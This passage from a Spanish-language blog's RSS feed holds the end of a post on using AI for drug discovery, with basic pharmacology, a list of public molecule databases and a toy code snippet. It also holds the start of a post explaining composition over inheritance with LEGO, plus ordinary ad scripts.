class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; releaseInsulin(){}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; applyDrug(drug){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(isReceptorCompatible(cell, drug)){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// desired effects&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    releaseInsulin()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// undesired effects&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    increaseDizzyness()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    createRash()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;cuanto-dura-un-farmaco-en-el-cuerpo&#34;&gt;¿Cuánto dura un fármaco en el cuerpo?&lt;/h3&gt;&#xA;&lt;p&gt;Bien, la respuesta a eso es &amp;ldquo;depende&amp;rdquo;. Depende de cada fármaco, algunos pueden durar minutos, otros pueden durar horas y de otros podemos encontrar trazas incluso semanas o meses después. Pero, generalmente todos siguen el mismo patrón, las mismas fases y siempre en este mismo orden:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Absorción: Si la vía de administración es intravenosa es instantáneo&lt;/li&gt;&#xA;&lt;li&gt;Distribución: La sangre se encarga de llevarlo a todo el cuerpo y sus propiedades fisicoquímicas determinan donde permanece.&lt;/li&gt;&#xA;&lt;li&gt;Metabolismo: Generalmente el hígado empieza a descomponer el fármaco y con ello termina su efecto.&lt;/li&gt;&#xA;&lt;li&gt;Excreción: Mayormente se excreta por los riñones, con la orina.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/farmacocinetics.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/farmacocinetics.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Gráfico que muestra como se comportan la mayoría de los fármacos administrados por vía oral&#34; width=&#34;828&#34; height=&#34;504&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;de-que-depende-que-un-farmaco-funcione-y-sus-efectos-secundarios&#34;&gt;¿De qué depende que un fármaco funcione y sus efectos secundarios?&lt;/h2&gt;&#xA;&lt;p&gt;Como te mencioné anteriormente, el que un fármaco active o no el receptor de una célula depende de si encaja con su &amp;ldquo;cerradura&amp;rdquo;. Lo anterior lo define su estructura tridimensional. Por esta razón, si dos fármacos se parecen, es probable provoquen efectos similares, pero al ser diferentes uno de ellos provocará menores efectos secundarios.&lt;/p&gt;&#xA;&lt;p&gt;Generalmente &lt;strong&gt;un fármaco mantiene una estructura base, sin la cual no posee efecto, y pequeñas variaciones en esa estructura base son las que determinan la intensidad del efecto terapéutico y los secundarios&lt;/strong&gt;. La parte difícil es intentar deducir cual combinación será la mejor.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/analogos_penicilinas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/analogos_penicilinas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Todas las penicilinas tienen en común la estructura en amarillo. Estas dos difieren en la parte resaltada en rojo&#34; width=&#34;845&#34; height=&#34;802&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Todas las penicilinas tienen en común la estructura en amarillo. Estas dos difieren en la parte resaltada en rojo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Observa las moléculas de arriba, un solo cambio desemboca un comportamiento diferente en el cuerpo, ¿te imaginas la cantidad de variantes que podemos tener para un solo fármaco? Cada una con diferentes propiedades, estructura y, por ende, con diferentes intensidades respecto a su efecto terapéutico y con una combinación única de efectos secundarios.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué pasas si en lugar de un Oxígeno usamos un azufre, o si removemos la estructura grandota del lado izquierdo con forma de hexágono (benceno) y la reemplazamos por dos carbonos? ¿y si en lugar de dos carbonos usamos tres o cuatro?&lt;/p&gt;&#xA;&lt;p&gt;Es muy dificil predecirlo de manera manual, pero es justo aquí donde la inteligencia artificial puede brillar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;inteligencia-artificial-y-desarrollo-de-farmacos&#34;&gt;Inteligencia artificial y desarrollo de fármacos&lt;/h2&gt;&#xA;&lt;p&gt;La inteligencia artificial es capaz de reconocer patrones que los seres humanos no podemos, puede analizar la información relacionada con una gran cantidad de moléculas y sus variantes; sus efectos secundarios, su estructura tridimensional, biodisponibilidad, polaridad, presencia de grupos funcionales y cualquier otra información ya existente sobre cada una de estas moleculas, y usarlos para entrenar un modelo que prediga si una molécula tiene el potencial de convertirse en un buen candidato a fármaco para sus posteriores análisis y pruebas en animales y humanos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/fluoxetin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/fluoxetin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Fluoxetina, un antidepresivo que actua bloqueando un receptor&#34; width=&#34;960&#34; height=&#34;927&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Fluoxetina, un antidepresivo que actua bloqueando un receptor&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Creo que este será uno de los usos más prometedores que se le darán una vez que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;la burbuja de AI estalle&lt;/a&gt;&#xA;. Mientras tanto, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;algunos ven a la IA como un culto delirante&lt;/a&gt;&#xA; que promete demasiado.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-parametros-debo-de-usar-para-entrenar-un-modelo-de-inteligencia-artificial-para-descubrir-nuevos-farmacos&#34;&gt;¿Qué parámetros debo de usar para entrenar un modelo de inteligencia artificial para descubrir nuevos fármacos?&lt;/h2&gt;&#xA;&lt;p&gt;Bien, pues ese es justo el meollo del asunto, la pregunta del millón de dólares. Si nunca has trabajado con sistemas biológicos y fármacos, te se sugiero que le des una leída a las bases de farmacocinética, farmacodinámica y estereoquímica.&lt;/p&gt;&#xA;&lt;p&gt;Las células son sistemas increíblemente complejos en donde hay un sin número de partes interaccionando entre ellas. No hay una respuesta simple a esta pregunta pues depende del tipo de célula, el tipo de fármaco que se esté usando, incluso factores tan banales como el tipo de alimentación y la hora a la que se administra un fármaco (cronofarmacología) pueden introducir ruido en el comportamiento de estos en un paciente.&lt;/p&gt;&#xA;&lt;p&gt;Además, hay diferentes aproximaciones que van desde la estructura tridimensional, tomando en cuanto los grupos funcionales o átomos que componen una molécula, así como sus múltiples propiedades fisicoquímicas, entre la que destaca su solubilidad en lípidos, pues indica que tan fácil cruzará las membranas de las células; mayor solubilidad en lípidos, mayor distribución en el cuerpo.&lt;/p&gt;&#xA;&lt;p&gt;La mayoría de la gente piensa que la química consiste en mezclar cosas y ver cómo cambian los colores, pero en realidad las matemáticas desempeñan un papel fundamental en la química y hay ecuaciones para todo, desde  como calcular cuanto añadir de una sustancia hasta para predecir cuanto es el remanente de una sustancia en el organismo de acuerdo a sus propiedades fisicoquímicas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;bases-de-datos-para-farmacos-disponibles&#34;&gt;Bases de datos para fármacos disponibles&lt;/h3&gt;&#xA;&lt;p&gt;Hay muchísimas bases de datos disponibles con información recopilada sobre muchísimas moléculas que puedes usar para alimentar tus modelos.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ebi.ac.uk/chembl/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ChEMBL&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cdb.ics.uci.edu/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ChemDB&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coconut.naturalproducts.net/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;COCONUT&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.dgidb.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DGIdb&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.drugbank.ca/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DrugBank&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://drugtargetcommons.fimm.fi/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DTC&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cbcb.cdutcm.edu.cn/INPUT/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;INPUT&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pubchem.ncbi.nlm.nih.gov/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;PubChem&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://sideeffects.embl.de/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;SIDER&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://stitch.embl.de/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;STIITCH&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Me atrevo a decir que aunque el proceso no será perfecto y estará lleno de tropezones, dado que el cuerpo humano es un sistema sumamente complejo, será mucho mejor que buscar a ciegas entre un sin fin de opciones.&lt;/p&gt;&#xA;&lt;p&gt;Si estás interesado en el tema, un buen lugar para empezar es este artículo titulado &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sciencedirect.com/science/article/pii/S2162253123000392&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Artificial intelligence for drug discovery: Resources, methods, and applications&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los usos de la inteligencia artificial van más allá de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/&#34;&gt;resolver problemas de código&lt;/a&gt;&#xA;, e independientemente de si esta &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;inteligencia artificial es consciente o no&lt;/a&gt;&#xA;, tiene un sin fin de aplicaciones. Una de las aplicaciones más interesantes para la inteligencia artificial es el desarrollo de nuevos fármacos. Llevar un nuevo fármaco al mercado es un proceso arduo, costoso y que, en la mayoría de los casos, es infructuoso. La inteligencia artificial puede acelerar el proceso enormemente y reducir los candidatos a nuevos fármacos a unos cuantos, en lugar de a decenas de ellos.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Composicion Sobre Herencia en POO explicada con Legos</title>
      <link>https://coffeebytes.dev/es/software-architecture/composicion-sobre-herencia-en-poo-explicada-con-legos/</link>
      <pubDate>Wed, 11 Oct 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/composicion-sobre-herencia-en-poo-explicada-con-legos/</guid>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El paradigma de Composition over inheritance, o composición sobre herencia es un tema recurrente en la programación orientada a objectos. Generalmente, se explica de una manera muy compleja, pero hoy voy a tratar de simplificarlo al punto en que los puristas me detesten.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Composition vs inheritance diagrama&#34; width=&#34;1170&#34; height=&#34;805&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Composition vs inheritance diagrama&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Empezamos, imagina que tienes una gigantesca caja de ladrillos LEGO, sí, esos pequeños bloques de plástico que causan un dolor inimaginable cuando los pisas. Pero, en este caso, no los usaremos para causar dolor sino para construir diferentes tipos de automóviles.&lt;/p&gt;&#xA;&lt;h2 id=&#34;herencia-o-composicion&#34;&gt;Herencia o composición&lt;/h2&gt;&#xA;&lt;p&gt;Para construir nuestros diminutos automóviles de LEGO, existen dos maneras:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Herencia: Puedes empezar con un diseño de automóvil básico, y luego hacerle cambios para crear diferentes tipos de automóviles. Pero, a veces, esto puede ser un completo desastre, puesto que puedes terminar con algunos automóviles extraños que no funcionarán correctamente.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_inheritance_y0c6j1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_inheritance_y0c6j1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen de un automóvil hecho de LEGO&#34; width=&#34;562&#34; height=&#34;562&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Empiezas con un coche y vas cambiando piezas. Todos los derechos de esta imagen pertenecen a LEGO&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Composición: En lugar de empezar con un automóvil básico y cambiarlo, puedes utilizar piezas LEGO más pequeñas para construir las diferentes partes de un automóvil, como ruedas, puertas y ventanas. Luego, junta esas piezas para crear distintos tipos de automóviles. De esta forma, tienes más control y flexibilidad para crear exactamente el tipo de coche que quieres sin hacer un desastre.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_composition_zfpbfr.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_composition_zfpbfr.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen de piezas de LEGO para ensamblar un automóvil&#34; width=&#34;562&#34; height=&#34;562&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Empieza con las piezas y empieza a montar tu coche. Todos los derechos de esta imagen pertenecen a LEGO&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;composicion-vs-herencia-resumidos&#34;&gt;Composición vs herencia resumidos&lt;/h2&gt;&#xA;&lt;p&gt;Por lo tanto, &lt;strong&gt;la composición sobre la herencia significa que a menudo es mejor construir cosas poniendo partes más pequeñas juntas en lugar de cambiar una cosa grande para hacer algo 